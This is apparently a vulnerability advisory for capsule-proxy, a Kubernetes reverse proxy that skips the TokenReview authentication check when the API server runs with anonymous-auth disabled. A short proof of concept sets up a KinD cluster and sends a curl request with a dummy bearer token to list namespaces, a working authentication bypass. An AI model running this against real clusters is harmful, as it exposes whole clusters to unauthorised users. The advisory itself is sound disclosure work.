capsule-proxy is a reverse proxy for the capsule operator project. Affected versions are subject to a privilege escalation vulnerability which is based on a missing check if the user is authenticated based on the `TokenReview` result. All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server. This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS). This vulnerability has been addressed in version 0.4.6. Users are advised to upgrade.

Affected: Go: github.com/projectcapsule/capsule-proxy, Go: github.com/clastix/capsule-proxy

The privilege escalation is based on a missing check if the user is authenticated based on the `TokenReview` result.

All the clusters running with the `anonymous-auth` Kubernetes API Server setting disable (set to `false`) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.

# PoC

Start a KinD cluster with the `anonymous-auth` value to `false`. If it is true, it uses anonymous permissions which are very limited by default

```yaml kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: - role: control-plane kubeadmConfigPatches: - | kind: ClusterConfiguration apiServer: extraArgs: anonymous-auth: "false" ```

Install `capsule` and `capsule-proxy`

``` k port-forward svc/capsule-proxy 9001 Forwarding from 127.0.0.1:9001 -> 9001 Forwarding from [::1]:9001 -> 9001 Handling connection for 9001 ```

Then query the proxy ``` curl -g -k -H 'Authorization: Bearer f' -X 'GET' 'https://localhost:9001/api/v1/namespaces' ```

# Impact

The whole cluster is exposed to unauthorised users.

This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).